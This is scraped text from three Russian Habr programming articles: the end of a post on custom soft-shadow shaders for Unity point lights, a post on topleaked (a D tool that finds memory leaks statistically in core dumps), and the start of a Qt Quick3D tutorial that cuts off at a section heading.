half4 shadows = (shadowVals < mydist.xxxx) ? _LightShadowData.rrrr : 1.0f;
return dot(shadows,0.25);
#else
```
На место него можно поставить любой понравившийся нам алгоритм, но сначала разберём входные параметры:
**vec** — четырёхмерный вектор. x,y и z — это направление от «лампочки» к пикселю. Делая выборку по этому значению с помощью SampleCubeDistance, мы получаем расстояние затенившего объекта. Если расстояние больше длины vec, тень на пиксель не падает. *(mydist — то самое расстояние, но это не входной праметр, он вычисляется выше в этом же файле)* В каждой выборке координата смещается на фиксированную величину, создавая эффект неоднородной границы. Не смейтесь. Профессиональные программисты, разрабатывающие Unity, называют это «мягкой тенью».
**\_LightShadowData.r** — это значение ползунка, настраивает яркость тени. Можно воспользоваться им, например, для изменения степени размытия тени или для изменения какого-то другого параметра, чтобы отлаживать шейдер непосредственно в редакторе. К сожалению, я так и не выяснил, на что влияют другие компоненты \_LightShadowData. Видимо, для точечного источника света больше параметров нет.
Возвращаем из функции яркость (0 до 1.0), т.е. множитель, который во всех шейдерах действует под именем atten (attenuation), поэтому изменённая тень будет действовать тоже во всех шейдерах, поддерживающих затенение.
*Чтобы увидеть изменения, найдите папку своего проекта, в ней – папку «Library». Удаляем из этой папки директорию «ShaderCache» и перезапускаем Unity. Я тоже перезапускал Unity после каждого редактирования шейдера, это нервировало и усложняло отладку.*
Вот и всё.
Я попробовал вот такой вариант, замазав края неказистым дизерингом:
```
#if defined (SHADOWS_SOFT)
// Чем меньше, тем тень размытестее
float downscale = 32.0f;
// Случайный вектор
const float3 rndseed = float3(12.9898,78.233,45.5432);
float3 randomvec = float3( dot(vec,rndseed) , dot(vec.yzx,rndseed) , dot(vec.zxy,rndseed) );
randomvec = frac(sin(randomvec) * 43758.5453);
// Вот эти вектора для смещений
float3 xvec = normalize(cross(vec,randomvec));
float3 yvec = normalize(cross(vec,xvec));
float3 vec1 = xvec / downscale;
float3 vec2 = yvec / downscale;
float4 shadowVals;
// Выборки из кубмапы
shadowVals.x = SampleCubeDistance (vec+vec1);
shadowVals.y = SampleCubeDistance (vec+vec2);
shadowVals.z = SampleCubeDistance (vec-vec1);
shadowVals.w = SampleCubeDistance (vec-vec2);
// Смешиваем
half4 shadows = (shadowVals < mydist.xxxx) ? _LightShadowData.rrrr : 1.0f;
return dot(shadows,0.25);
#else
```
Выборок столько же, сколько и в жуткой каноничной реализации, но, по крайней мере, пиксели не мозолят глаза:
Не долго думая (но долго отлаживая) сделал такую вот реализацию PCF4x4 с «ручной» билинейной фильтрацией (в шейдеры Unity можно, конечно, вставлять команды DirectX11, среди которых есть и билинейная фильтрация теней кубмапа, но я пошёл по пути универсальности и сделал дополнительный ряд выборок для «ручного» сглаживания, получилось не 16 выборок, а 25).
Или даже вот так:
Это не честный PCSS, а более быстрая и простая реализация. Максимальное размытие — это то же самое PCF4x4. А чёткая тень вблизи затенителя достигается увеличением резкости. Между прочим, эффект shapen тоже много где применяется. Здесь же у нас симбиоз, с помощью которого можно добиться красивого эффекта.
Выше упомянутый бегунок настраивает угол перехода мягкой тени в резкую. Этот параметр можно подбирать разным образом для разных «лампочек», исходя из размеров помещений, в которых они находятся.
Код последней реализации я поместил под кат. Он немного громоздок и неопрятен, ведь я не использовал двумерный цикл выборок, а прописывал их вручную, чтобы снизить число команд и количество используемых переменных, а заодно применить операции с векторами там, где можно вычислить сразу несколько переменных. Плюс я принципиально не использовал условные переходы, заменив их математикой. Поэтому смотрите на свой страх и риск.
**Некрономикон**
```
inline half UnitySampleShadowmap (float3 vec)
{
float mydist = length(vec) * _LightPositionRange.w;
mydist *= 0.97; // bias
const float downscale = 128.0f;
const float sat_mult = 312.0f;
#if defined (SHADOWS_SOFT)
#define shadow_close_scalefactor (_LightShadowData.r + 0.001f)
// Виртуальные оси и их преобразование в настоящие
#define xvec main_axis.zxy
#define yvec main_axis.yzx
#define VIRTUAL_COORD(x,y) (ceilvec + xvec*x + yvec*y)
// Нам надо узнать, вдоль какой плоскости направить изначальный вектор
// (ось вперёд для правильного направления пикселей)
half3 main_axis = abs(vec)*1666.666f;
main_axis = normalize(clamp(main_axis.xyz - main_axis.yzx,0.0f,1.0f)*clamp(main_axis.xyz - main_axis.zxy,0.0f,1.0f));
// Упираем вектор в кубмап
vec /= abs(dot(vec,main_axis));
// Это центр виртуального пикселя, относительно которого будет вестись интерполяция цвета
fixed3 ceilvec = ceil(vec*downscale) / downscale;
// От нуля до единицы - значения для интерполяции между 4-мя положениями
fixed4 lerp_delta;
vec = (ceilvec - vec) * downscale;
lerp_delta.x = dot(vec * xvec,1.0f);
lerp_delta.y = dot(vec * yvec,1.0f);
lerp_delta.z = 1.0f - lerp_delta.x;
lerp_delta.w = 1.0f - lerp_delta.y;
// Подготовка к выборкам
main_axis /= downscale;
ceilvec -= (xvec + yvec)*0.5f;
//Переменные и паттерны для выборки
float4 shadowVals, distance_sums, distancesides; fixed4 shadowsides, shadow_sums, distancesides_nums, distance_nums;
#define DISTANCE_COMPARE_X4(sum,distance_sum,distance_num) shadowVals = mydist.xxxx - shadowVals; sum = dot(clamp(shadowVals *sat_mult,0.0f,1.0f),1.0f); distance_sum = dot(clamp(shadowVals, 0.0f,100.0f),1.0f); distance_num = dot(clamp(shadowVals *sat_mult,0.0f,1.0f),1.0f)
#define DISTANCE_COMPARE_X3(sum,distance_sum,distance_num) shadowVals = mydist.xxxx - shadowVals; sum = dot(clamp(shadowVals.xyz*sat_mult,0.0f,1.0f),1.0f); distance_sum = dot(clamp(shadowVals.xyz,0.0f,100.0f),1.0f); distance_num = dot(clamp(shadowVals.xyz*sat_mult,0.0f,1.0f),1.0f)
#define DISTANCE_COMPARE_X1(sum,distance_sum,distance_num) shadowVals.x = mydist - shadowVals.x; sum = clamp(shadowVals.x *sat_mult,0.0f,1.0f); distance_sum = clamp(shadowVals.x, 0.0f,100.0f); distance_num = clamp(shadowVals.x *sat_mult,0.0f,1.0f)
// Выборка значений из центральной области - для всех положений одинакова
// Первые 4 пикселя
shadowVals.x = SampleCubeDistance (VIRTUAL_COORD(-1.0f,-1.0f));
shadowVals.y = SampleCubeDistance (VIRTUAL_COORD(0.0f,-1.0f));
shadowVals.z = SampleCubeDistance (VIRTUAL_COORD(1.0f,-1.0f));
shadowVals.w = SampleCubeDistance (VIRTUAL_COORD(1.0f,0.0f));
DISTANCE_COMPARE_X4(shadowsides.x,distancesides.x,distancesides_nums.x);
// Вторые 4 пикселя
shadowVals.x = SampleCubeDistance (VIRTUAL_COORD(-1.0f,-0.0f));
shadowVals.y = SampleCubeDistance (VIRTUAL_COORD(-1.0f,1.0f));
shadowVals.z = SampleCubeDistance (VIRTUAL_COORD(0.0f,1.0f));
shadowVals.w = SampleCubeDistance (VIRTUAL_COORD(1.0f,1.0f));
DISTANCE_COMPARE_X4(shadowsides.y,distancesides.y,distancesides_nums.y);
// Центральный пиксель
shadowVals.x = SampleCubeDistance (VIRTUAL_COORD(0.0f,0.0f));
DISTANCE_COMPARE_X1(shadowsides.z,distancesides.z,distancesides_nums.z);
// Раскладываем суммы по
shadow_sums = dot(shadowsides.xyz,1.0f).xxxx;
distance_sums = dot(distancesides.xyz,1.0f).xxxx;
distance_nums = dot(distancesides_nums.xyz,1.0f).xxxx + fixed4(0.01f,0.01f,0.01f,0.01f);
// Выборка значений для индивидуальных областей
// Лево
shadowVals.x = SampleCubeDistance (VIRTUAL_COORD(-2.0f,-1.0f));
shadowVals.y = SampleCubeDistance (VIRTUAL_COORD(-2.0f,0.0f));
shadowVals.z = SampleCubeDistance (VIRTUAL_COORD(-2.0f,1.0f));
DISTANCE_COMPARE_X3(shadowsides.x,distancesides.x,distancesides_nums.x);
// Низ
shadowVals.x = SampleCubeDistance (VIRTUAL_COORD(-1.0f,-2.0f));
shadowVals.y = SampleCubeDistance (VIRTUAL_COORD(0.0f,-2.0f));
shadowVals.z = SampleCubeDistance (VIRTUAL_COORD(1.0f,-2.0f));
DISTANCE_COMPARE_X3(shadowsides.y,distancesides.y,distancesides_nums.y);
// Право
shadowVals.x = SampleCubeDistance (VIRTUAL_COORD(2.0f,-1.0f));
shadowVals.y = SampleCubeDistance (VIRTUAL_COORD(2.0f,0.0f));
shadowVals.z = SampleCubeDistance (VIRTUAL_COORD(2.0f,1.0f));
DISTANCE_COMPARE_X3(shadowsides.z,distancesides.z,distancesides_nums.z);
// Верх
shadowVals.x = SampleCubeDistance (VIRTUAL_COORD(-1.0f,2.0f));
shadowVals.y = SampleCubeDistance (VIRTUAL_COORD(0.0f,2.0f));
shadowVals.z = SampleCubeDistance (VIRTUAL_COORD(1.0f,2.0f));
DISTANCE_COMPARE_X3(shadowsides.w,distancesides.w,distancesides_nums.w);
// Раскладываем суммы по соответствующим секциям
shadow_sums += (shadowsides.xzxz + shadowsides.yyww);
distance_sums += (distancesides.xzxz + distancesides.yyww);
distance_nums += distancesides_nums.xzxz + distancesides_nums.yyww;
// Угловые точки
shadowVals.x = SampleCubeDistance (VIRTUAL_COORD(-2.0f,-2.0f));
shadowVals.y = SampleCubeDistance (VIRTUAL_COORD(2.0f,-2.0f));
shadowVals.z = SampleCubeDistance (VIRTUAL_COORD(-2.0f,2.0f));
shadowVals.w = SampleCubeDistance (VIRTUAL_COORD(2.0f,2.0f));
// Считаем вручную, ибо нефиг дефайны плодить ради одного вызова
shadowVals = mydist.xxxx - shadowVals;
shadow_sums += clamp(shadowVals*sat_mult,0.0f,1.0f);
distance_sums += clamp(shadowVals,0.0f,1.0f);
distance_nums += clamp(shadowVals*sat_mult,0.0f,1.0f);
// Интерполируем между четырьмя позициями
shadow_sums.x = dot(shadow_sums * lerp_delta.xzxz * lerp_delta.yyww, 1.0f) / 16.0f;
distance_sums.x = dot(clamp((distance_sums/distance_nums),0.0f,1.0f) * lerp_delta.xzxz * lerp_delta.yyww, 1.0f);
// Увеличиваем констраст вблизи источника тени
fixed contrastfactor = 1.0f - clamp(distance_sums.x/shadow_close_scalefactor,0.0f,1.0f);
shadow_sums.x = clamp((shadow_sums.x - 0.5f) * (1.0f + contrastfactor*4.0f)+0.5f,0.0f,1.0f);
return 1.0f - shadow_sums.x;
#else
// Тень с дизерингом и 4 выборками для упрощённой детализации
vec = normalize(vec) * 0.5f; // Компенсация размера тени
const float3 rndseed = float3(12.9898,78.233,45.5432);
float3 randomvec = float3( dot(vec,rndseed) , dot(vec.yzx,rndseed) , dot(vec.zxy,rndseed) );
randomvec = frac(sin(randomvec) * 43758.5453);
float3 vec1 = normalize(cross(vec,randomvec)) / downscale;
float3 vec2 = normalize(cross(vec,vec1)) / downscale;
float4 shadowVals;
shadowVals.x = SampleCubeDistance (vec+vec1);
shadowVals.y = SampleCubeDistance (vec+vec2);
shadowVals.z = SampleCubeDistance (vec-vec1);
shadowVals.w = SampleCubeDistance (vec-vec2);
shadowVals = mydist.xxxx - shadowVals;
fixed4 shadows = clamp(shadowVals*sat_mult,0.0f,1.0f);
return dot(shadows,0.25);
#endif
}
```
Если вас не устраивает конкретно этот подход, реализуйте в рамках Unity более подходящие алгоритмы. Буду только рад такой активности, ведь меня правда удручает застой в Unity в плане реалтайм теней, который тянется уже много лет.
P.S.: Больше всего мне хотелось бы услышать мнения тех, кто работает непосредственно с Unity и знает, что там можно, а что нельзя, хотя скорее всего будут пространные размышления об алгоритмах, впилить которые в движок не удастся ввиду его закрытой архитектуры. Но и к пространным размышлениям с радостью присоединюсь и поясню некоторые моменты. | https://habr.com/ru/post/307582/ | null | ru | null |
# Topleaked для анализа утечек памяти
Что делает большинство программистов, когда узнают, что в их программе течёт память? ~~Ничего, пусть пользователь покупает больше оперативы.~~ Посмею предположить, что берут надёжный проверенный временем инструмент, такой как valgrind или libasan, запускают и смотрят отчёт. Там обычно написано, что объекты созданные на такой-то строчке программы такого-то файла не были освобождены. А почему? Вот этого нигде не написано.
Данный пост посвящён инструменту поиска утечек topleaked, идее статистического анализа, лежащего в его основе, и методам применения этого анализа.
Про topleaked я уже [писал на хабре](https://habr.com/ru/post/485102/), но всё же повторю основную идею в общих чертах. Если какие-то объекты не освобождаются, то они копятся в памяти. А значит у нас много однородных, похожих друг на друга последовательностей. Если утечёт больше, чем реально используется, то самые частые из них — это части утёкших объектов. Обычно в программах на C++ находятся указатели на vtbl классов. Таким образом можно выяснить, объекты какого типа мы забываем освобождать. Понятное дело, что в топе много мусора, часто встречающихся строк, да и тот же valgrind расскажет нам, что и где утекло гораздо лучше. Но topleaked изначально создавался не для того, чтобы соперничать с отработанными годами технологиями. Он был придуман, как инструмент решения задачи, которая ничем другим не решается — анализ невоспроизводимых утечек. Если в тестовом окружении повторить проблему не удаётся, то любой динамический анализ бесполезен. Если ошибка возникает только "в бою", да ещё и нестабильно, то максимум, что мы можем получить — логи и дамп памяти. Вот этот дамп можно анализировать в topleaked.
**Упрощённый пример использования из прошлого поста**
Возьмём простую C++ программу с утечкой памяти, которая сама завершится с записью дампа памяти из-за abort()
```
#include
#include
#include
class A {
size\_t val = 12345678910;
virtual ~A(){}
};
int main() {
for (size\_t i =0; i < 1000000; i++) {
new A();
}
std::cout << getpid() << std::endl;
abort();
}
```
Запустим topleaked
```
./toleaked leak.core
```
Формат вывода по умолчанию — построчный топ в человекочитаемом виде.
```
0x0000000000000000 : 1050347
0x0000000000000021 : 1000003
0x00000002dfdc1c3e : 1000000
0x0000558087922d90 : 1000000
0x0000000000000002 : 198
0x0000000000000001 : 180
0x00007f4247c6a000 : 164
0x0000000000000008 : 160
0x00007f4247c5c438 : 153
0xffffffffffffffff : 141
```
Пользы от него мало, разве что мы можем увидеть число 0x2dfdc1c3e, оно же 12345678910, встречающееся миллион раз. Уже этого могло бы хватить, но хочется большего. Для того, чтобы увидеть имена классов утекших объектов, можно отдать результат в gdb простым перенаправлением стандартного потока вывода на вход gdb с открытым файлом дампа. -ogdb — опция, меняющая формат на понятный gdb.
```
$ ./topleaked -n10 -ogdb /home/core/leak.1002.core | gdb leak /home/core/leak.1002.core
...<много текста от gdb при запуске>
#0 0x00007f424784e6f4 in __GI___nanosleep (requested_time=requested_time@entry=0x7ffcfffedb50, remaining=remaining@entry=0x7ffcfffedb50) at ../sysdeps/unix/sysv/linux/nanosleep.c:28
28 ../sysdeps/unix/sysv/linux/nanosleep.c: No such file or directory.
(gdb) $1 = 1050347
(gdb) 0x0: Cannot access memory at address 0x0
(gdb) No symbol matches 0x0000000000000000.
(gdb) $2 = 1000003
(gdb) 0x21: Cannot access memory at address 0x21
(gdb) No symbol matches 0x0000000000000021.
(gdb) $3 = 1000000
(gdb) 0x2dfdc1c3e: Cannot access memory at address 0x2dfdc1c3e
(gdb) No symbol matches 0x00000002dfdc1c3e.
(gdb) $4 = 1000000
(gdb) 0x558087922d90 <_ZTV1A+16>: 0x87721bfa
(gdb) vtable for A + 16 in section .data.rel.ro of /home/g.smorkalov/dlang/topleaked/leak
(gdb) $5 = 198
(gdb) 0x2: Cannot access memory at address 0x2
(gdb) No symbol matches 0x0000000000000002.
(gdb) $6 = 180
(gdb) 0x1: Cannot access memory at address 0x1
(gdb) No symbol matches 0x0000000000000001.
(gdb) $7 = 164
(gdb) 0x7f4247c6a000: 0x47ae6000
(gdb) No symbol matches 0x00007f4247c6a000.
(gdb) $8 = 160
(gdb) 0x8: Cannot access memory at address 0x8
(gdb) No symbol matches 0x0000000000000008.
(gdb) $9 = 153
(gdb) 0x7f4247c5c438 <_ZTVN10__cxxabiv120__si_class_type_infoE+16>: 0x47b79660
(gdb) vtable for __cxxabiv1::__si_class_type_info + 16 in section .data.rel.ro of /usr/lib/x86_64-linux-gnu/libstdc++.so.6
(gdb) $10 = 141
(gdb) 0xffffffffffffffff: Cannot access memory at address 0xffffffffffffffff
(gdb) No symbol matches 0xffffffffffffffff.
(gdb) quit
```
Читать не очень просто, но возможно. Строки вида $4 = 1000000 отражают позицию в топе и количество найденных вхождений. Ниже идут результаты запуска x и info symbol для значения. Тут мы можем видеть, что миллион раз встречается vtable for A, что соответствует миллиону утекших объектов класса A.
Про всё это я уже писал. Как верно отметили в комментариях, идее уже сто лет в обед, ну или как минимум 15. История на этом не заканчивается, она только начинается.
Ясно что, но почему?
====================
До ката был поставлен важный вопрос — почему память утекает? Отладочные утилиты как правило говорят, где был объект или массив создан, но не где он должен быть удалён. И topleaked тут не исключение. Понять, почему тот или иной кусок памяти не был освобождён, может только программист, найдя ошибочный сценарий. Но что если пойти дальше поиска типов? Если мы можем пройтись по всем объектам, которые считаем утёкшими, то мы можем искать общие черты среди них. Приведу реальный пример, историю, ради которой была написана новая фича.
Ближе к делу и… проблемам
=========================
Есть сервис. Он существенно нагружен, через него проходят сотни тысяч пользователей. Утечка любой мелочи на каждый запрос или подключение смерти подобна — взорвётся за считанные минуты. Сервис был отлажен и проработал 3 месяца без перезапуска процесса. Не рекордный аптайм, но всё же. И вот через 3 месяца мы выясняем, что всё это время он по чуть-чуть подтекал. Вроде бы мелочь, он превысил своё штатное потребление раза в 2-3 — перезапустил и забыл. Но вместе с памятью текли файловые дескрипторы. Поскольку сервис полностью сетевой, то эти дескрипторы — незакрытые сокеты, а значит у нас проблема в логике. Сервис написан почти полностью на C++ с очень небольшими вкраплениями перла. Это на самом деле мало влияет на последующее повествование, но от конкретики отталкиваться проще. С тем же успехом можно было допустить ту же ошибку на C, D, Rust, Go или NodeJS. И искать её можно точно так же, разве что с js были бы проблемы.
Метод глядения в код нам ничего не дал. Все возможные, как мне тогда казалось, сценарии использования сетевых соединений приводят к потере ссылок на объект, что благодаря умному указателю приводит к деструктору, который безусловно сделает close. Анализ и мониторинг дал оценку, что не закрывается примерно каждый сотый сокет. Сессии долгие (игровые сессии клиентов игры), поэтому для того, чтобы упереться в ограничение открытых fd на процесс (512000 в нашем случае) понадобились месяцы. Найти в логах признаки от этих незакрытых клиентов тоже не удавалось. На первый взгляд всё открытое закрывалось. Смотреть было больше некуда, и я полез читать дамп памяти процесса, снятый незадолго до достижения максимума открытых соединений.
Набираем статистику
===================
Первый запуск topleaked сообщил очевидный факт — утекают объекты клиентских подключений. Спасибо, капитан, это мы уже и так знали по незакрытым сокетам. Нас интересует специфика этих подключений, ведь основная масса исправно помирает, когда положено. И вот тут зародилась идея: что если пройтись по всем этим объектам в дампе и посмотреть их состояние. В данном случае у нас в классе было свойство state — enum, отвечающий за логическое состояние клиента. Условно говоря: не подключен, подключен, прошёл хэндшейк websocket, прошла авторизация. Если знать, из какого состояния объекты утекают, то и искать проще.
Тут есть загвоздка. Topleaked не понимает форматов дампов, он просто открывает файл как бинарный поток, режет по 8 байт и строит топ самых частых 8-байтовых последовательностей. Это не какой-то сложный замысел, так было проще написать первую версию, ну а дальше нет ничего более постоянного, чем что-то временное. Вот только из-за отсутствия структуры невозможно понять, где лежат нужные нам значения. Всё, что у нас есть это значение указателя на vtbl, интересующего нас класса. А ещё мы знаем, что эти указатели, как и все свойства “лежат в объекте”. То есть можно поискать в дампе интересующий указатель на vtbl и по какому-то смещению относительно найденной позиции в файле будет лежать state. Это смещение фиксированное, так как зависит только от лейаута класса. Осталось только найти это смещение.
В случае C++ есть проблема — отсутствие ABI или каких-нибудь внятных правил расположения свойств в объектах. Для POD или trivial типов есть чёткие правила ещё из мира C. А вот расположение указателя на виртуальную таблицу, как и само существование виртуальной таблицы, не стандартизировано. К счастью на практике всё просто. Если не сильно мудрить с множественным наследованием и рассматривать конечный класс в иерархии, то на linux gcc выяснится, что vtbl — первое свойство объекта. А значит offsetof(state) и есть наше смещение. На более простом примере это выглядит так:
```
struct Base {
virtual void foo() = 0;
};
struct Der : Base {
size_t a = 15;
void foo() override {
}
};
int main()
{
for (size_t i = 0; i < 10000; ++i) {
new Der;
}
auto d = new Der;
cout << offsetof(Der, a) << endl;
abort();
return 0;
}
```
Здесь мы распечатали offsetof Der::a, “утекли” 10000 объектов и упали. Для начала запустим topleaked в штатном режиме
```
topleaked my_core.core
0x0000000000000000 : 50124
0x000000000000000f : 10005
0x0000000000000021 : 10004
0x000055697c45cd78 : 10002
0x0000000000000002 : 195
0x0000000000000001 : 182
0x00007fe9cbd6c000 : 167
0x0000000000000008 : 161
0x00007fe9cbd5e438 : 154
0x0000000000001000 : 112
```
0x000055697c45cd78 это указатель на vtbl класса Der. offsetof равен 8. Значит нужно поискать этот указатель, отступить на 8 и прочитать значение. Для поиска воспользуемся отдельным режимом работы topleaked — поиском. Флаг -f отвечает за то, что будем искать в дампе, --memberOffset — смещение интересующего поля относительно найденного в -f, а --memberType — тип поля. Поддерживаются uint8, uint16, uint32 и uint64.
```
topleaked my_core.core -f0x55697c45cd78 --memberOffset=8 --memberType=uint64
```
Получаем:
```
0x000000000000000f : 10001
0x000055697ccaa080 : 1
```
Мы видим 10000 значений 0x0f, которые сами и записали, а так же небольшой шум.
Happy End
=========
В реальной ситуации всё работает примерно так же. Сначала в тестовом окружении я убедился, что смещение корректно и поиск находит то, что нужно, а потом запустил на реальном дампе. Полученный вывод сначала удивил, а потом порадовал. Нашлось несколько тысяч авторизованных клиентов, цифры соответствовали количеству онлайн пользователей на момент падения. Но самое главное, что нашлись сотни тысяч не просто неавторизованных, а объектов в самом первом состоянии. Это состояние означает, что клиенты подключились к серверу по TCP, но не послали ни байта — ни websocket upgrade, ни чего-нибудь неожиданного. Они подключились и молчали. Это самое простое место для отладки — нашего кода минимум, значит и ошибаться негде. Оказалось всё просто, автор кода (каюсь, это был я) не понимал гарантий TCP. Если не включать дополнительных опций и не пытаться ничего делать с сокетом, то невозможно никак понять, что он отключился. Нет встроенных пингов или таймаутов неактивности по умолчанию. Есть только расширение, которое все поддерживают, но которое выключено — TCP Keep Alive. Подробнее можно прочитать <https://blog.cloudflare.com/when-tcp-sockets-refuse-to-die/>
Самое неприятное то, что на самом деле мы про это знали. В игровой протокол добавлена похожая логика с проверкой неактивных сокетов, и она работает. Только включается она после установления websocket соединения. Поэтому и утечке были подвержены только те, кто потерял связь до посылки первого пакета.
Ещё немного про D
=================
Не могу не отметить, как просто было добавить описанный выше функционал. Если посмотреть [коммит](https://github.com/SmorkalovG/topleaked/commit/815def840439832983d7d96cda08482856ec187e), то мы увидим, что для каждого поддерживаемого типа данных (uint 8/16/32/64) добавилось по строке:
```
readFile(name, offset, limit)
.findMember!uint64_t(pattern, memberOffset)
.findMostFrequent(size).printResult(format);
```
findMember — новая функция, реализующая смещение, а findMostFrequent — та же самая функция, которая строит топ самых частых значений. Благодаря шаблонам и алгоритмам на диапазонах (ranges) не потребовалось ничего менять. При том, что изначально эта функция работала с массивами, а теперь ей отдали весьма своеобразный итератор, который ищет и прыгает по файлу.
**Инструкция по установке**
Бинарных сборок нет, поэтому так или иначе понадобится собрать проект из исходников. Для этого потребуется компилятор D. Варианта три: dmd — референсный компилятор, ldc — основанный на llvm и gdc, входящий в gcc, начиная с 9-й версии. Так что, возможно, вам не придётся ничего устанавливать, если есть последний gcc. Если же устанавливать, то я рекомендую ldc, так как он лучше оптимизирует. Все три можно найти на [официальном сайте](https://dlang.org/download.html).
Вместе с компилятором поставляется пакетный менеджер dub. При помощи него topleaked устанавливается одной командой:
```
dub fetch topleaked
```
В дальнейшем для запуска будем использовать команду:
```
dub run topleaked -brelease-nobounds -- [...]
```
Чтобы не повторять dub run и аргумент компилятора brelease-nobounds можно скачать исходники с [гитхаба](https://github.com/SmorkalovG/topleaked) и собрать запускаемый файл:
```
dub build -brelease-nobounds
```
В корне папки проекта появится запускаемый topleaked.
[Сcылка на гитхаб](https://github.com/SmorkalovG/topleaked)
P.S. Спасибо Crazy Panda за возможность делать и использовать такие штуки в работе, а также за мотивацию к написанию постов. Иначе бы текст пылился еще год на жёстком диске, как это было с прошлым постом про topleaked. | https://habr.com/ru/post/516426/ | null | ru | null |
# Введение в Qt Quick3D
*Этот пост участвует в конкурсе [„Умные телефоны за умные посты“](http://habrahabr.ru/company/Nokia/blog/132522/)*
Не так давно фреймворк Qt Quick обзавелся дополнением Qt Quick3D, позволяющим полноценно работать с 3D объектами (поддерживается импорт из 3D Max и Blender), совершать над ними различные трансформации, анимации, применять эффекты, ну и вообще по полной использовать возможности лежащего в основе OpenGL. Работает всё это под Symbian, MeeGo, Windows\Linux\MacOs (ну и вообще везде, где Qt есть). В этом топике мы попробуем технологию «на зуб». Писать что-то сложное и серьёзное не хочется, поэтому мы сделаем хабрахолодильник, из которого по клику будет вылетать НЛО.
Сразу результат:
#### Что нам понадобится
Качаем и устанавливаем [Qt Creator](http://qt.nokia.com/downloads), [Qt library](http://qt.nokia.com/downloads), [Qt Quick3D](http://labs.qt.nokia.com/2011/09/19/new-qt-quick3d-packages-available/) и [Blender](http://www.blender.org). Еще нам понадобятся 3D-модели, которые мы будем использовать. Я взял вот этот [холодильник](http://3delicious.net/index.php?a=detail&id=45923) и эту летающую [тарелку](http://www.turbosquid.com/FullPreview/Index.cfm/ID/245001) (всё бесплатное). Ну и логотип Хабра бессовестно стащил.
#### Поехали
Итак, запускаем Qt Creator и создаём новый проект: **Файл->Новый файл или проект->Проект Qt Quick->Интерфейс пользователя на Qt Quick**.
Вводим имя проекта, расположения папки, все остальные опции оставляем по-умолчанию.
Новосозданный проект выглядит как-то так:
Оставим пока его в покое.
#### Подготовка моделей
Открываем Blender и готовим в нём модели, которые мы будем использовать. Я не буду детально описывать работу в Blender (всё-таки, это не по нему урок, да и не спец я в Blender). Вот вкратце, что мы сделаем:
1. Откроем модели холодильника и НЛО.
2. Поместим НЛО в холодильник.
3. Поцепим на холодильник логотип Хабра.
4. Экспортируем из Blender отдельно НЛО (которое сейчас в холодильнике), дверцу холодильника (она нужна нам отдельно, чтобы её можно было открывать) и его корпус без дверцы. И того у нас должно быть на выходе 4 файла: [ufo.3ds](http://habra-holod.googlecode.com/svn/trunk/ufo.3ds), [door.3ds](http://habra-holod.googlecode.com/svn/trunk/door.3ds), [refr.3ds](http://habra-holod.googlecode.com/svn/trunk/refr.3ds) + [файл текстуры](http://habra-holod.googlecode.com/svn/trunk/a_ba3bb3dc.j). Скопируем все эти файлы в папку проекта.
#### Hello world
Возвращаемся в Qt Creator к нашему проекту. При его создании в файл HabraHolod.qml был записан такой себе «Hello world», но он никакого отношения к Qt Quick3D не имеет, а потому мы его удалим. Начнём писать свой qml-код с нуля. В первой итерации он будет вот таким:
```
import Qt3D 1.0
Viewport {
Mesh { id: refrigirator; source: "refr.3ds" }
Mesh { id: ufo; source: "ufo.3ds" }
Mesh { id: bottom_door; source: "door.3ds" }
Item3D { mesh: refrigirator }
Item3D { mesh: ufo;}
Item3D { mesh: bottom_door; }
}
```
Давайте пройдемся по коду. В первой строке мы импортируем пакет Qt3D, который, если Вы всё установили верно, должен найтись и взяться за работу по отображению 3D-объектов. Если же Вы, как и я, что-то на этапе установки запороли (у меня была установлена другая версия библиотек Qt), то вот очень толковая [статья](http://doc.qt.nokia.com/qt-quick3d-snapshot/qt3d-troubleshooting.html), описывающая что и куда нужно положить руками, чтобы всё работало и еще [одна](http://doc.qt.nokia.com/qt3d-snapshot/qt3d-building.html), объясняющая как скомпилировать Qt Quick3D вручную.
Далее мы создаём элемент [Viewport](http://doc.qt.nokia.com/qt3d-snapshot/qml-viewport.html) — это контейнер, в который можно добавлять 3D-объекты и задавать некоторые параметры их отображения (освещение, позицию камеры и т.д.). Дальше мы импортируем 3 наших 3ds-файла (каждый — в отдельный мэш) и создаём 3 элемента Item3D (обратите внимание на их связку с мэшами по свойству **id**).
Если Вы нажмёте Ctrl+R (запуск), то даже сможете увидеть результат:
Что-то странное, да? :) На самом деле всё работает верно. Всё дело в том, что пока ни окно нашего приложения, ни параметры 3D-сцены не настроены и поэтому мы смотрим на наши объекты в малюсенькое окошко с непонятной позиции. Если Вы вручную сделаете окно побольше и воспользуетесь скролингом, то увидите нашу сцену примерно такой:
Начало неплохое — в 10 строк кода у нас уже есть приложение, кое-как отображающее группу 3D-объектов (а ну-ка, сколько строк будет в нём, если написать его на С++\Java\.NET\Ваш\_язык?).
#### Идём дальше
Итак, объекты наши, конечно, отображаются, но как-то не так, не там и пока не двигаются. Будем это дело понемногу улучшать. Во-первых, добавим в код корневой элемент Rectangle (для этого нам придётся импортировать модуль QtQuick 1.0), который позволит нам задать размер окошка:
```
import QtQuick 1.0
import Qt3D 1.0
Rectangle {
color: "black"
width: 400
height: 600
Viewport {
anchors.fill: parent
Mesh { id: refrigirator; source: "refr.3ds" }
Mesh { id: ufo; source: "ufo.3ds" }
Mesh { id: bottom_door; source: "door.3ds" }
Item3D { mesh: refrigirator }
Item3D { mesh: ufo;}
Item3D { mesh: bottom_door; }
}
}
```
Для Rectangle мы задали начальные размеры и цвет, а для Viewport — сказали, что он должен быть растянут на весь размер родителя. Результат:
Окошко верного размера, но смотрим мы на объект всё еще откуда-то снизу. Поправим положение камеры. Для этого задейстуем свойство **camera** у нашего Viewport:
```
camera: Camera {
id: viewCamera
eye: Qt.vector3d(15,10,40)
center: Qt.vector3d(-2,10,0)
}
```
[Полный код на данном этапе](http://pastebin.com/Wwc5m4E0)
Свойство **eye** определяет, где находится камера, а **center** — точку, на которую она смотрит. Текущий результат:
А ведь уже неплохо! Если бы мы хотели просто посмотреть на 3D объект в Qt Quick3D — можно было бы на этом и закончить. Но нет! Наша цель — движение.
#### Обработчик клика
Итак, у нас есть отображающаяся модель холодильника, которая на самом деле 3 модели в одной сцене. Постараемся сделать так, чтобы по клику дверца открывалась и оттуда вылетало НЛО. Прежде всего — обработчик клика. Это просто, добавляем к Viewport элемент MouseArea, растянутый на весь размер родителя. По клику пропишем пока выход (просто чтобы проверить, что работает):
```
MouseArea {
anchors.fill: parent
onClicked: {
Qt.quit();
}
}
```
[Полный код на данном этапе](http://pastebin.com/h65WYhWg)
Запускаем, кликаем — программа завершается. Работает.
#### Трансформации и анимации
